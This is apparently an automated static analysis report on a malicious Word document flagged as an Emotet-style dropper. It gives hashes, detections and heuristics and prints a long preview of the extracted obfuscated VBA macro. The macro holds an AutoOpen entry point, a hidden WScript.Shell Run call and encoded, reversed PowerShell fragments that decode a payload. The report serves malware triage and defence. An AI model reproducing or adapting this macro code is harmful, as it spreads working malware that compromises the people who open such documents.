Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d475cfa2a595300e…

MALICIOUS

Office (OLE)

171.5 KB Created: 2018-03-16 18:00:00 Authoring application: Microsoft Office Word First seen: 2018-04-30
MD5: a43b1cd3ece5639b45cddbe4e036818c SHA-1: ce2d9449a57959b6160e9ed314547d60fbc112ec SHA-256: d475cfa2a595300e654c9fb8d6088a92f1fe67caf3a52d458807260e1f73ae3d
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.005 System Binary Proxy Execution: WMI

The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, suggesting the execution of commands to download and run a secondary payload. The presence of a VBA macro named 'macros.bas' further supports this. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' also points to a known malware dropper.

Heuristics 10

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          pvYvHh = UmsPf / ZBusX
      ilicGYcwD = "WScript.Shell"
      YKBPSM = UXEdz + vAUXdq
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          hhOto = wVFPz + oiljrX
CreateObject(ilicGYcwD).Run HUJNib + Chr(VBA.vbKeyC) + zFdTRTEPctz + LwvoZdcliiZmRS + rbALCsGnXmsvV, vbHide
      YTkRqE = Hex(ZRpTPC / Int(91833))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "aALGJhULr"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 35019 bytes
SHA-256: 8a543a7666586a98b61752309ce7d4bfc8c2e142e47e160f9188f020e48c1815
Detection
ClamAV: No threats found
Obfuscation or payload: likely
652 of 1082 identifiers look randomly generated (e.g. 'UaBDAjBgMAcDA5AgZAUDAzAgMAADAwAgNAUDAiBw') — consistent with name-mangling obfuscation. Carved artifact contains 25 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "DmWXkdZH"
Function XiECIbRiJNmi()
On Error Resume Next
      nHKdcc = Hex(qhaWEu / Int(90030))
      hpnEv = Qibfbm / MEijz
      kMajI = FzfQv + LLrFHv
bmENtzBiqv = TzCVNt("SSS.B7GAlBQYAADA2AgMAQGAiBwYAIGA2AQZAQDA4AwNAIGAkBAZAcDA3AAZAQDA4AQZAQGAjBAMAQGAhBANAADA1AQNAkDAkBAMAEGAyAQYAMGAmBAMAADAiBAOAMGA5AQYAIGAwAQNAQGA3AANAMGAyAgMAgDA4AgNAUGAlBwYAQGA4AgZAMU6f", 4 + 0, 176 + 0)
      kCXdiz = Hex(pGicw / Int(75260))
      hKnHI = iprkNj / QafHzj
      NKNjr = IfwUDT + bdBDz
      wmTZJm = Hex(nfUcaZ / Int(44440))
      OLVwM = ZbXjs / NFjiO
      jwDkO = ijsSVW + GXpNLA
GCXZww = TzCVNt("IzAOAADi7GS6", 6 + 0, 5 + 0)
      NqYLvp = Hex(ajivm / Int(27960))
      saWdz = PcJGG / wloYs
      icvqY = pZfHCK + iIVNz
      wrtrtn = Hex(iisWbL / Int(91090))
      MUbqB = WEtPsY / moiopT
      wBwmbd = Bqipv + kVrVp
MjpozFsszC = TzCVNt("zJB%RAQPAcHAvBAaAcDAKBgYAkEA0BwdAoHA5BgQw", 2 + 0, 35 + 0)
      RanAb = Hex(OostJ / Int(65252))
      swVKVo = YXVOO / zXGRwN
      jBYJBX = NoLHjw + CEPKW
      BzDajn = Hex(GCCzuX / Int(52555))
      tsZzQQ = VDmZbb / wIsYI
      tRDYjB = TMLPO + jBkvjL
ioCftZwZowi = TzCVNt("UaBDAjBgMAcDA5AgZAUDAzAgMAADAwAgNAUDAiBwNAUGA3AQMAIDAiBQYAkDAzAwNAEGAwAANAIDA2AAZAkDAjBAZAUGAlBQZAEGAxAwNAMDAlBgYAIDAjBANAcDAxAwMAQDAhBAOAIDA3AwYAkDAyA2UR", 4 + 0, 148 + 0)
      LbAoK = Hex(NAGtG / Int(43368))
      kBcoA = PCWJs / LwuEM
      MMwiR = POXnN + SEszs
      aQkBbW = Hex(JWpEiw / Int(55114))
      SRvJV = WJXpMc / OCqXK
      JWLMul = KzqXpp + qmwhE
UWAGuF = TzCVNt("T2wNAYGAxAANAEDA2AAOAUGA3AQNAIDAzAwYAUDA4AgYAIGA2AQMAMGAyAANAADAhBQOAMDA1AAMAIGAzAgMAYDAmBAMAEDAkBwMAADAwAQYAYDA3AAMAYGAzAgZAQGAxAAMAcDAyAANAIDA2AAZAIDAjBAOAQGA4AQYAQGAmBE.SB", 5 + 0, 167 + 0)
      uDGMMO = Hex(fuTzjT / Int(11701))
      vGFBX = nZSzzW / LbEIS
      vFQzAf = NPdqrW + quftjj
      DVRhRW = Hex(jdftOw / Int(4062))
      WPlrF = RjDjOq / JiBaBr
      CXiiQ = ChZpp + AwhAp
CnfSllN = TzCVNt("i4SGZ28AMDAhBwNAkDA3AAMAMDAzAgNAMGA5AgZAADAkBAZAYGA3AANAMGA0AQZAQDA1AwMAgDA1AQMAgDAzAQOAUGA4AwMAIGAmBgNAUDA5AgMAYGAiBwYAEGA3AAOAEGA5AAMAUDA4", 2 + 0, 132 + 0)
      SsloN = Hex(DjBWud / Int(37969))
      GqVzl = awqjH / uLpbc
      LIjwaN = jfkFf + wWcwKc
      fbkvNb = Hex(jhUbj / Int(59177))
      KLOoG = JDsKh / jhmPj
      CqNhiG = OkpZQ + cwzij
tVmOHMp = TzCVNt("i6sdbQNAADA1AwMAYGAiBgZAkDAmBAMAUDAxAQNAYDAzAwMAEGAwAAMAUDAjBQNAEDA3AAOAEDAkBgYAADAyAwNAEDAwAAMAIGAzAQNAADAjBm", 2 + 0, 104 + 0)
      aFbTbj = Hex(NJsou / Int(35183))
      whnocj = arjUd / JEHkzF
      JWaXlw = tEWwu + fDuIK
      btOmm = Hex(UFcTzs / Int(60240))
      GRSjv = OVzMji / zjNWul
      Mwupm = JnhGcS + dzRcCh
ZEsBtO = TzCVNt("Ud4AEHAJBwYAEGAxAQcA0GAsBAUAEFA8BgM5435a05061b3143240f3476111d29467'($(ISnAColL,wS", 4 + 0, 76 + 0)
      FFvBFH = Hex(XZPzFG / Int(47638))
      HWduN = aorkO / HzPlT
      zAHDs = iomORI + MGUqu
      CKDCBt = Hex(THiEj / Int(98842))
      UWFhT = tCwjYD / EAPvM
      XfIjND = ZQLLPT + BdrjKz
zickmzP = TzCVNt("J,i,152,212,211,741,671,912,17 YeK-  gNiRtsErUCES-OtTReVNOC|'==AA1AgMAkDA3AQYAYDA4AgZAQDA4AQMAcDA2AANAEDAkBQNAUGA5AQZAIGAwAgYAEGA3AANAAzwR", 4 + 0, 132 + 0)
      lANWd = Hex(kRSsns / Int(7217))
      jMnsiU = dqlRE / HaJfl
      dmiuM = EOHzTY + QOURE
      KhzUw = Hex(TBqRq / Int(3723))
      aVJbFz = oBjCu / hzhji
      uQOlz = kBFKl + ZKmLT
XdnqCw = TzCVNt("c8lBAOAUDAkBgNAQDAmBwYAIGA4AAOAEDA3AwYAgDAyAgYAQGAjBgMAkDAiBQNAgDAyAAZAIGAkBwNAQDA2AgNAQGA0AwMAYGAyAgZAIDA3AAMAADAhBgMAQGAmBQYAkDAzAwMAUDAmBgNAYGAyAQZAIDAmBAOAwHA9BJmBV", 6 + 0, 161 + 0)
      dSzok = Hex(wzZZX / Int(41432))
      HiQHh = jJSVw / iPOdk
      WdIFPa = jFmCj + ikqil
      zRGBSi = Hex(stYplo / Int(50239))
      JJCfi = HlUfmD / FvjnV
      vOVRzX = CsjlBw + LwzwbZ
rPuou = TzCVNt("nUJz7MAOAkDAzAAOAQDAyAgZAgDA4AwYAUDA0AwYAYDAiBQYAQGAmBAZAEGAxAANAMDA0Ag%7G", 4 + 0, 65 + 0)
      pjmVf = Hex(TnwpBQ / Int(82886))
      sosCIB = OCiiq / wHzmM
      sFijvU = KPutkk + NSKEu
      DZbSEc = Hex(KVrljm / Int(82299))
      YiaGZP = zlizUU / BfNHad
      fCAUaG = rViKF + VXwmiQ
AvhizpZlzNR = TzCVNt("tGANAUGA2AgZAADA0AwMAIDAmBAZAIDA2AgYAUGA4AANAgDA4AQOAEGA5AANAEDAwAg6.Gir", 6 + 0, 65 + 0)
      apoGI = Hex(PTMYZ / Int(22343))
      psjZl = IWIPzn / VYdha
      KTYpOu = QqDfz + wsJdr
      GSEcR = Hex(rYSVLP / Int(93868))
      MLSIf = wwCJdc / wlinh
      WpXQLr = mwKbs + bwmBs
wzVqKjO = TzCVNt("uc,iOrifAQDA0AQYA6", 2 + 0, 9 + 0)
      NGJIPv = Hex(oasmkh / Int(58960))
      aMovG = WKzoa / WBNMk
      ITiMhH = MChuM + tNhAk
      QNlJz = Hex(CaiMz / Int(97840))
      WzANu = HYILMz / jwoqpV
      ZpCsiC = dBWvdo + OQWcj
MiDcSXz = TzCVNt("Ufa8cDAyAQMAMGA2AgNAMGAhBgYAEDAkBAOAMDAkBQMAYDA0AQYAQDAyAwNAMDAjBQZAQDA5AQYAUDAmBQMAIDAwAAZAYGA1AAcK", 3 + 0, 94 + 0)
      woICZ = Hex(SjDls / Int(43535))
      MojwHi = riXmQj / HVhSO
      Nplhz = XkwZP + YzbjhT
      BRBin = Hex(LmiJBM / Int(15967))
      BftFqi = jcHLwS / BoKuj
      GRBzvm = DzMNw + LFosU
VOouJawb = TzCVNt("8JzMAEGA2AQZAUGAiBAOAIGA5AgYAgDAiBQYAMDAyAAMAYDAiBQYAIGA2AgZAYGAxAwMAMDA3AwNAEDAmBQNAQGA0AwNAkDAlBgNAIDAlBQMAEGAwAQZAUDAwAAOAIGAxAwYAYDA3AQOAMGA5AANAMGAwAgMAQGA3AgYAIGAlBAMAUDAjBQYAEGA5AQOAgDAzAAOAUGAk7JG", 4 + 0, 198 + 0)
      lmUpu = Hex(oRoku / Int(98118))
      fVckd = JEQXjP / OtHSNw
      dvAlbH = HUZSF + GQjiV
      NKitGO = Hex(qZmIT / Int(95531))
      SuhkO = Xmwbld / FaXibJ
      QVjwF = TRDrBs + CsqEoG
YzjlJQsUtJI = TzCVNt("i4JGDA1AgZ.pB", 4 + 0, 6 + 0)
      HbNGH = Hex(SzPBHh / Int(19321))
      twOjf = GFiEat / tNkTq
      mSpIZ = cHUBCj + iCIwb
      HowPzz = Hex(iMCwz / Int(7011))
      IWUaSq = jLSYi / MziizI
      wTpNG = aOzlbE + GMAQI
bZfTwEY = TzCVNt("7U4wYAYDA2AgZAADAwAgMAgDA1AANAQDA3AgNAIDAlBAMAADAhBQMAYDAxAAOAcDAhBAZAIDA4AgYAQGA2AgYAIGA0AQMAgDA1AAOAIDAmBANAQDAiBgYAQDA1AwMAADAiBgZAcDAlBQMAcD4K", 3 + 0, 140 + 0)
      LSYdir = Hex(BsjiT / Int(96665))
      tkphGU = QGjZqU / ozzRZ
      zrYqL = lmhfV + dNbWW
      QtiEj = Hex(nKIFk / Int(65552))
      bpsJrw = zjZsFQ / bAiKzp
      FSHVLC = RlKSWb + CfSVC
wVFkJKf = TzCVNt("f8uAzAgNAYDAmBANAUGAxAQMAMGAhBgZAMGA4AQYAIGAkBQMAEDAmBwYAUDAlBQYAMDAhBQMAcDAhBgNAMGAiBwMAMGAjBQNAMDAmBQYAUDAlBAOAIGA5AwYAYDA5AQMAQGAkBANAYGAwAAZAQDAyAQMAMDAwAAOAADA0AwNAIDaz7", 4 + 0, 168 + 0)
      LjUmz = Hex(aMJZu / Int(75389))
      kVWlof = IfuPai / hYUQpu
      kWwVWs = PIMPfd + ujudpI
      jEqju = Hex(zuwzbo / Int(85884))
      fciDjD = RwdfYB / JhDaOI
      dPMUwI = LwroO + vEnBw
dEIkiTkFsiX = TzCVNt("rFpaGAwYAMGA0AAMAUGAzAAMAUDA3AQOAQDAzAAMAgDAiBQNAADA0AAZAQDAyAQMAQDAhBwYAMGAjBgZAEDAzAQZAEGAzAQZAkDAkBwNAUGAiBAZAIGAyAQZAkDAyAANAEGAlBQMAkDA2AwMAUDAhBAOAMGAzAQNAADA1AgMAcDA5AQZAEGAhBAZAQGAw.", 3 + 0, 183 + 0)
      bPGNDW = Hex(VlPtA / Int(50115))
      QBNSik = VFBmqK / jFtCcb
      PXCIwX = ZvDqOd + trVSNt
      JClmcM = Hex(nYhMC / Int(26627))
      THLvKF = ubcEJz / CCwwi
      cGNUD = aPikk + vTHoB
iqDjT = TzCVNt("utU%55,181,122,37,431,632,451,691,431,732d%4", 4 + 0, 37 + 0)
      CtwOaI = Hex(SMFkWl / Int(26891))
      rUMtq = miQQqr / OjsOAH
      oXNfEl = MViIzW + DzvvKw
      AiVVPH = Hex(piMkWq / Int(37635))
      ZCqjnh = DHDTAF / dFDOvF
      TXjNS = hrvvu + iSiKVn
oGUBUwKlz = TzCVNt("a6YGAxAgNAYDA2AQOAMDA4AwYAcDA28wp2", 6 + 0, 27 + 0)
      HbNRw = Hex(VqEGj / Int(15979))
      NfFiKS = XLMMH / OWjvu
      aiwoGG = GwTdkO + zYDMEA
      MQubN = Hex(cuODjO / Int(74595))
      GGKUmP = onBHN / RVBHt
      RwwSEM = QqwjTa + VZiHw
pFBElzllkY = TzCVNt("4JK6ZAUGAyAgZAMGA3AgMAkDA4AAMAcDAiBAOAYDAwAAMAIDAwAAOAADAwAgYAYGA5AgZAcDA5AAMAkDAzAgZAYDA1AgYAEGAzAwNAIDA5AAMAEDAjBQNAYDAmBANAMGAxAwNAgDA2AgMAQDAhBgz8Y.w", 6 + 0, 144 + 0)
      JNXcsT = Hex(mKYNw / Int(81561))
      VlJnGH = wQqEih / qrmtK
      YEYUZ = LGFRlm + tqjQuB
      QIDkjz = Hex(MbTwJ / Int(26455))
      KzWUtm = jmoPAi / JJZKfp
      wuEGsh = pqzAI + pWNIM
mOBoF = TzCVNt(",r,AMDAyAQMAgDA3AwMAYGAiBgNAMDA4AQZAMDA3AQNwi,84z", 7 + 0, 40 + 0)
      whVPVi = Hex(fCSul / Int(57346))
      zNERO = Ectwp / sfrnv
      zwtIb = jXcCLW + NXkEbR
      KinUX = Hex(CzBObc / Int(74325))
      zvWDc = NwjrB / NXiCpE
      IrEni = svPhvw + jkCNi
umqTUALJ = TzCVNt("aW4.GuDA3AQOAUDAzAAOAMDAzAQYAADAyAgYAEDAyAgNAgDA1AgZAEGA3AQNAUGA1AQYAcDAjBAOAEDAlBQOAUGA0AwYAQDAlBgZAYDAyAwNAYGA0AgMAYGA5AQMAMGA7mt", 4 + 0, 122 + 0)
      INrLC = Hex(TtTfQz / Int(47654))
      EiduI = JkKzRk / jtdUVU
      vKQjC = PAYPwi + ZNFGI
      LIZsJd = Hex(vjsYAw / Int(25973))
      dCMLAb = fNPnNE / ziviA
      GNdqiQ = iMFOQG + BCdrl
uTHFdzkcJ = TzCVNt("6 7DR6YAIDA1AAOAMGAhBAMAcDAzAAOAIDAkBQNAEDAyAgZAUDAwAwMAYGAkBQZAMDAwAQNAgDAzAQNAQDAlBgZAgDAxAQZAYGAhBQOAQDAjBAZAgDAhBAZAUGAiBgYAMDAiBQYAQDAkBgZAkDAlBwYAMiY", 3 + 0, 147 + 0)
      kdLdW = Hex(mXiOc / Int(34930))
      PqPZWc = bwTIBX / BWuAD
      kNdCAU = ibvzc + UqMmdH
      cuOAj = Hex(LZsmcd / Int(85700))
      pJMnjz = ndbBa / zIlNR
      wLELE = FkPtC + tCOEIJ
UrVzVmbadjt = TzCVNt("qi4izD.SNAQDA2AANAMDAmBAOAMGAyAANAEGAmBQZAUGA0AQZAYDA4AgMAIDA3AQOAQGAlBAOAMDA1AQYAUDA5AgYAcDAzAQYAIGA0AwNAkDA2AgYAYDAmBgYAMGAiBQNAEGA2AAOAYDAzAQNAUDAiBgZAIDA1AANAEDA2AgYAEDA0AgYAUDAyAwM2", 2 + 0, 177 + 0)
      CZGpRn = Hex(FjMRHY / Int(21351))
      wRlwHO = OrtajH / Euzbf
      dpVnX = TZYwm + jTGzTJ
      oJGjM = Hex(LISRGD / Int(14308))
      mWwFk = FJUdO / BDjqT
      WXLPNk = qiClz + nUjvi
Fppiql = TzCVNt("J72ZAYGAjBAZAgDAhBQMAEGA4AQMAgDA0AANAgGnv7,R", 7 + 0, 35 + 0)
      akwFfp = Hex(VIzHYc / Int(95495))
      hkNXIO = uUCXVP / kUIAJt
      aRjakO = sbiJB + GkTXZS
      IqBfT = Hex(RSXWTU / Int(65491))
      JaYiP = iiHlt / nNIOJ
      rNfkzn = CPMWc + GpOFX
YOdWCXFsRD = TzCVNt("wKBFicAwAwNAIDA5AgMAcDAz6BT", 4 + 0, 18 + 0)
      FLrWd = Hex(QmOwEK / Int(17613))
      mdUiY = lVNBVI / TmOYIl
      DWzqB = iAwDL + MOfcU
      YfZojM = Hex(KDsSl / Int(21529))
      jIHHK = LswvtJ / YiCzk
      woJaus = miCoBw + kIMhtN
XXSznOm = TzCVNt("RSGgDAwAQOAUDA2AAOAMGAiBgMAQDAzAgMAYDA1AgMAIGAkBwMAQGAyAQYAEDA0AgYAcDA3AwYAkDA4AQOAQDA0AgYAIDA3AgYAQDAzAwYAYGA2AANAADA0AwMAEDAhBgZAUDAjBgZAIDA0AAOAYGAjBQNAgDA4AANAMGAhBQZAcDA2AQNAUDAkBgZAIGAxAAMAYDAzsUR", 4 + 0, 196 + 0)
      XfiiuW = Hex(zjBthq / Int(23913))
      ZhMOj = hqIuvQ / PSUGWN
      JbwzWb = wBuTIh + iiUii
      BzzUGR = Hex(mBzus / Int(78340))
      ciToD = rwzJnu / WwUmUv
      UrHfG = FlIFfo + vjVVI
oJVJNfkD = TzCVNt("cS2A4AQOAMGA5AgZAUGAkBANAEDA0AAOAADAxAAMAEDAkBQZAUGA5AANAMDA1AwNAMGAhBQMAIDA1AgZAMDA0AgNAQGA5AQN7Usn4.", 7 + 0, 93 + 0)
      YlFAp = Hex(LakphK / Int(49873))
      fCkWoi = jGntd / Xwpbzd
      XYPrS = uRUvbu + rssww
      IqcSlr = Hex(swqidQ / Int(60182))
      atdRo = MWzfkw / ZPuvOG
      jrlWw = QbLBkN + imwfj
wNTpriR = TzCVNt("Uq7siBQNAgDA3AgNAEGA3Agw776", 5 + 0, 19 + 0)
      jwUimB = Hex(OTjvnO / Int(19599))
      ZiHGVC = kKwuWw / nSPOcW
      PNwVD = zsPOW + bJDpY
      LfQRLs = Hex(ENjAvD / Int(17699))
      waqfmf = LVmsUr / jtsfsi
      FDDGh = NFvsn + EZzOK
tNzXEqi = TzCVNt("6EzvVhBQNAUDAzAwNAYGAkBwNAEDA5AgNAIGAlBANAEDAiBwMAgDA5AwYAgDAzAQNAUDA3AwYAUGAxAgZAEDA2AwNAcDA4AgZAUGA4AAOAUGA5AAZAIDAwAQNAEGAyAwYAEGAiBQOAEGAjBgZAQDAjBQNAkDAmBzG,", 4 + 0, 154 + 0)
      OfUui = Hex(YvLip / Int(16617))
      KaQqX = YFYSFZ / FHnTlf
      QdDDKY = ilwiPm + cloiaa
      LjZpYu = Hex(amhHXi / Int(67724))
      ARZMPH = mWVzG / hlChD
      QrWAp = oHhDnl + zViaT
PczOCMlB = TzCVNt("i6cPAQGAkBANAQDA1AwMAADAmBQYAADAlBs4z", 4 + 0, 30 + 0)
      IjstC = Hex(anitB / Int(59485))
      TWSri = kdaAl / jjYHfC
      iMucX = TjOuGN + YNRCji
      EKoJUQ = Hex(OjUZN / Int(79936))
      NdkNz = PqCifI / iDdJj
      HhfjF = whmNds + QmaJN
aSLPifbdzo = TzCVNt("c6znSUB2AgNAEGY8", 3 + 0, 7 + 0)
      PGONHK = Hex(LOjLGK / Int(87001))
      ihiuf = zNcdZ / NsOItQ
      QzsTYY = cjAbHS + KhErPh
      iUWrnj = Hex(sDUOAR / Int(36210))
      kFSAbW = PLzzs / UMjvA
      LNWmU = urLGY + rYYDB
mXMLMNKXV = TzCVNt("YG5AgZAYDAxAQZAIGAyAgYAUDAzAQMAYDAlBgMAcDAjBAZAEDAxAANAcDAzAwMAEDA7rEK28E", 8 + 0, 64 + 0)
      bZLKEL = Hex(onQYrl / Int(36815))
      HHVOS = jhfIJm / HUwQKz
      bwBIL = fjiSUV + LkQCp
      VnsBzF = Hex(qvsFo / Int(33648))
      fuAmGu = mwmfk / iwlFp
      dwGwR = BSkPY + rmktv
HvwnFNFjw = TzCVNt(",fKuRAwNAkDAiBANAEDAzAwMAADA2AAZAEDAmBQOAQGA1AwYAYDA1AgMAIDAlBgZAgDAhBF.", 3 + 0, 65 + 0)
      SsVQir = Hex(WPzru / Int(18469))
      QRntYz = ZFcfXY / ozVoA
      mzBMPP = uzBaqF + CZwqVz
      zZMCb = Hex(fdtYAi / Int(9380))
      RGMYbZ = jLPlt / ZoEVf
      BYnzop = ENBUj + Othcfw
odrPRir = TzCVNt("JjOAEDAyAAZAMGAlBAMAkDA2AwNAIGA5AAMAADAmBQZAQGAlBQYAQDA5AwMAUDAyAgMAEDAhBgNAYGAmBQMAcDAyAgYAEGA1AwYAQDAiBwMAYDAiBQMAYDAlBgYAQGA5AgNAQDA4AgGtWIMv", 7 + 0, 136 + 0)
      jqTOzQ = Hex(mGooDV / Int(15116))
      CdGXi = UDiqj / iRrMZ
      AqLEZ = XHhwY + RLdLq
      XrpSiC = Hex(sZOli / Int(36277))
      hJzhpZ = UfiRs / wNQQJ
      CNwXC = wBOOj + ZEMIk
kIXfvjCjf = TzCVNt("diGc8lBwYAEGA3AQNAUDAjBAMAUDA0AgMAIDA0AgNAkDAjBwMAQDAwAwNAMDA0AAOAQDAxAgMAMDA2AQZAEDAmBQZAEDAwAQOAMGA2AgNAMDAhBQYAcDAlBgZAEDAlBgZAYDAxAgZAEDAjBgZAADAwAANAcDAwd", 2 + 0, 153 + 0)
      NkNkDL = Hex(BqARf / Int(16459))
      bYQZim = XsXwGw / rnqpcc
      ZwRKn = AUwji + miAom
      XkDmK = Hex(iaSUTK / Int(59257))
      EmcmFE = TDZMf / HcNGBT
      Iqtzj = qVmMw + biTKDj
jbzwHjoq = TzCVNt("U.26fEAlAboLGOtGniRtserUCes::]lAhsram.seCIvREspORetNi.EmiTnUR[(ekovni.)emAN.]0[)(sRebmemTeG.]lahSraM.secIvResPORetnI.eMITNUR[(::]lAHSram.SECIVReSpoREtnI.EmitNur[(( )'x'+]03[EmoHSp$+]4[EmOhsP$ ( &S8", 3 + 0, 189 + 0)
      RiDji = Hex(fpbwE / Int(27743))
      qGaOs = ClNwhr / TDNoSK
      lBqEJ = ZEiPX + wjDVDF
      kVDWh = Hex(luCcb / Int(68349))
      NIhrs = WCcjk / NcGYW
      uNWmNV = iKLNoQ + USzstz
viCzihTsV = TzCVNt("GUOKQZAYGAzAQOAQDAyAwNAEGAyAgMAEDAp8z", 4 + 0, 30 + 0)
      bPOHl = Hex(zUjiV / Int(61445))
      hVqauM = OBKpo / tDuiO
      WbSzHi = BlJahr + iJwbW
      iiUEM = Hex(jJpfai / Int(71989))
      KXrQFW = mDdZSH / sXuro
      pqjvP = HWzIjO + TTLjO
EbDLOUwXRGv = TzCVNt(",Yf1AgZAcDA2AgYAMGA1AgNAYDA0AQOAUDAmBgZAIDA4AQZAADA5AQNAQDAjBQOAMDA3AwNAYGAwAwNAUGA1AgNAYGA3AANAYDAxAgYAEGAlBwMAADAzAQNAEGAyAAMAEDAmBwYAEDAmBANAQDAmBgZAQGAmBQNAUDA2AQMAUGAiBQYAUDAmBgYAEDA3AwMAQGAiBQZAkDn4wU2", 6 + 0, 198 + 0)
      Oivaqf = Hex(oLRSli / Int(87780))
      kUrvB = PGmvz / FoBjr
      wattQp = VrvFh + zUziz
      SElwp = Hex(fwGopa / Int(29208))
      sDklz = jdEPww / zmizIh
      cPSizv = GAEpIi + fQCauw
LjVQd = TzCVNt("8D67SuGA3AwMAEGA2AQNAQDA3AAOAYDAzAQOAADA1AQOAADAlBwNAkDAf", 2 + 0, 50 + 0)
      pAWArD = Hex(Lcojtf / Int(60320))
      lCmCJZ = AZqUfR / bZOiJ
      OviIrI = YPJOzT + fAosp
      JZhlYX = Hex(kdAuan / Int(10073))
      UzTpjH = HzUvmP / mAkRr
      wYiHLK = WwfEIM + vAWGJi
athoVzz = TzCVNt("BSBgMAEDA2AwMAMDA0AwNAEGAjBAOAgDAjBAMAUGAlBAOAYGAmBgYAMGAwAgNAQDA0AQNAUDAzAQOAkDA3AgYAYGAkBANAADA4AAOAgDA0AwNAIGAyAwYAYGAkBgYAgDAmBAZAcDAkBwMAQGAzAgZAQGA3AQYAUDAhBwYAYDAwAAZAcDAxAS6iJ", 5 + 0, 177 + 0)
      SkQdk = Hex(ZqzKJv / Int(50551))
      wVLdYj = IRQma / PmiiHI
      ioNib = CjwVuN + mziKcl
      zlMjHd = Hex(PZYmpa / Int(54810))
      IUziUv = whbKL / cjEbip
      ovUOBS = OWIME + AoWnM
wCouwRPSUB = TzCVNt("TG6yAAZAIDA3AQZAQDA1AgNAgDA0AQYAADA2AwNAADAkBQOAgDA0AwNAMGAkBQNAkDA5AgYAIGA3AwMAMGAyAQNAUDA0AQYAYGAkBQYAMGA0AQOAUDAxAQOAQDAlBwNAEGA1AQZAIDA5AQNAEDAzAwYAUGAwAgZAYGA5AgNEz.Ss", 6 + 0, 164 + 0)
      pwmfFz = Hex(GnqTK / Int(14795))
      isMAkh = qocYO / HsoMR
      HzzBQ = RjMRY + zETVH
      wBmNtY = Hex(FTZYEF / Int(4521))
      iEjCz = vEdrV / VfINq
      vnNrYp = sVZMH + wVHEiG
rjSYadjM = TzCVNt("d7AgDAmBAMAUDA1AwYAYDAwAQOAYGA5AQNAIDA4AwNAEDAiBANAYGA0AgYAUDA0AgZAYGAiBgNAIGAjBgYAgDAhBAOAYDAzAAMAADA3AwYAYDAhBAMAMGAhBwMAQDAwAgMAMGA4AwNAEGAwAgZAwSuGJK", 7 + 0, 145 + 0)
      QMAwJ = Hex(XWUaL / Int(21490))
      QKPHqj = sGDWsV / WfObZ
      jXimR = CRmYuO + ZLoGz
      KlfCV = Hex(MjJKQM / Int(60783))
      XmVvHH = CEmZlA / vzdbL
      mmnKH = utjALn + STPwWj
XjSOmJTfm = TzCVNt("8KEdJA2AQNAQDA4AAOAkDAxAANAEGAzAQYAcDA1A8.6", 4 + 0, 35 + 0)
      QHhscj = Hex(HkLhoB / Int(32489))
      lwKnc = EWEam / hljzHs
      wiFuiX = mIUSW + ZLhQni
      bkhYK = Hex(ttdjOl / Int(3469))
      AGHdW = mOBPc / QHrRSb
      wlakG = YqwkKF + RkAuBX
vItiiwsHJFL = TzCVNt("S24ZDA1AQOAEDAjBwMAIDAlBQZAIDAjBwMAQDAlBwMAEGA1AgZAMDAiBwNAkDAxAgZAgDAwAgZAYDA0AwMAEDAhBANAYDAzAQNAQDAiBAOAMGAiBwNAIGA4AAZAEDA3AwNAMDAmBAOAQGAkBQMAIDA4AgMAYGA1AQNAMGA5AwMAIGAwAwNAQDA2AANAIDAlBQYAMw7B", 4 + 0, 191 + 0)
      ZRMjR = Hex(NamCMN / Int(74905))
      DSaVBz = TpiqJn / fGwPvS
      jYqTKQ = DuYwSE + SaYAX
      mrnzw = Hex(HfPtpb / Int(76618))
      CEjwfZ = wviUT / GskjF
      VEiVo = wYwjW + mvIidK
iNpTuzNi = TzCVNt("7RrgYAYGAmBAZAcDA5AwYAYDAwAQMAADA3AgNAgDAlBgYAEDAkBQYAQDA5AAOAIDA3AQOAIGAzAwMAEGAwAAOAIGAxAwMAMDA4AQMAQGAjBgMAgDAjBQZAgDA5AAZAMDA3AQOAcDA4AgNAMGAwAgNAEGA2AAOAYGAkBwMAgDA2AAZAIDAhBgNAkDAhBQMAADAjBAMAADVK1", 4 + 0, 197 + 0)
      Jronw = Hex(fiSAm / Int(59369))
      jCSlY = ujjASP / uhYQb
      ZSwhj = iMIij + JEMAk
      biabZV = Hex(XLshhE / Int(84618))
      wfDqd = jAbJQW / iEMtlR
      lzDHH = oARoTG + AGPEc
